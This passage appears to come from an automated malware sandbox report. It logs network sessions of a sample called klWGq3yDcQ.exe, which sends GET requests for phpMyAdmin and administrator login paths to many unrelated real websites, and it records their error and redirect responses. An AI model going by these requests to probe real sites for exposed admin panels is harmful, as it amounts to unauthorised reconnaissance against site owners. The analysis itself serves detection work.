2023-11-26 05:59:31 UTC	166	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 34 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:31 GMTContent-Type: text/htmlContent-Length: 146Connection: closeVary: Accept-Encoding
2023-11-26 05:59:31 UTC	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	55485	35.214.252.247	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: locandafrancigena.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	55789	104.21.63.202	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	171	OUT	GET /phpmyadmin/ HTTP/1.1 Host: leeberg.dk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	55811	35.164.64.246	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: belongfbg.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	150	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:31 GMTcontent-type: text/html; charset=UTF-8transfer-encoding: chunkedconnection: close
2023-11-26 05:59:32 UTC	1321	IN	Data Raw: 35 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 68 74 6d 6c 2c 62 6f 64 79 7b 0a 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 7d 0a 0a Data Ascii: 522<!doctype html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css">html,body{ width:100%; height:100%; margin:0; padding:0;}
2023-11-26 05:59:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	55795	185.183.156.218	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: federwild.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 30 32 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 31 32 20 53 65 70 20 32 30 31 39 20 31 35 3a 30 36 3a 33 38 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 33 66 65 2d 35 39 32 35 63 37 62 66 38 63 39 65 33 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:31 GMTContent-Type: text/htmlContent-Length: 1022Connection: closeVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: "3fe-5925c7bf8c9e3"Accept-Ranges: by
2023-11-26 05:59:31 UTC	1022	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 42 41 53 45 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 5f 64 6f 63 73 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 42 41 53 45 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 64 6f 63 75 6d 65 6e 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 50 3e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 57 65 62 20 53 65 72 76 65 72 20 61 74 20 66 65 64 65 72 77 69 6c 64 2e 61 74 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><BASE href="/error_docs/">...[if lte IE 6]></BASE><![endif]--></HEAD><BODY><H1>Not Found</H1>The requested document was not found on this server.<P><HR><ADDRESS>Web Server at federwild.at</ADDRESS></BO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	55792	81.169.145.157	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: kappablu.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	178	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 6e 69 78 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:32 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	55516	191.252.51.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: financefast.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 33 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:31 GMTServer: ApacheContent-Length: 332Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:31 UTC	332	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /phpmyadmin/on this server.</p><p>Additionally, a 403 Forbiddenerror was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	55995	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	174	OUT	GET /administrator/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:31 UTC	628	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/administrator/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	56010	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	182	OUT	GET /administrator/ HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:31 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:32 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	55963	104.247.74.107	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:31 UTC	190	OUT	GET /cgi-sys/suspendedpage.cgi HTTP/1.1 Host: vivanettv.co.ke Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	144	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheConnection: closeTransfer-Encoding: chunkedContent-Type: text/html
2023-11-26 05:59:32 UTC	7634	IN	Data Raw: 31 64 63 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 Data Ascii: 1dca<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" conte
2023-11-26 05:59:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	56194	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	179	OUT	GET /administrator/ HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:32 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	56241	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	177	OUT	GET /administrator/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:32 UTC	633	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 65 73 6f 66 74 2e 61 63 61 64 65 6d 79 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeLocation: https://esoft.academy/administratorCF-Cache-Status: DYNAMICReport-To: {"endpoint
2023-11-26 05:59:32 UTC	424	IN	Data Raw: 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 6d 61 72 67 69 6e 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 7d 0a 20 20 20 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 65 30 30 3b 7d 0a 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0a 20 20 20 20 68 31 20 7b 66 Data Ascii: 1a1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title><style> body {margin: 20px; font-family: helvetica, sans-serif; max-width: 800px;} .error {color: #e00;} pre {font-size: 16px;} h1 {f
2023-11-26 05:59:32 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2023-11-26 05:59:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	56280	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:32 UTC	176	OUT	GET /administrator/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
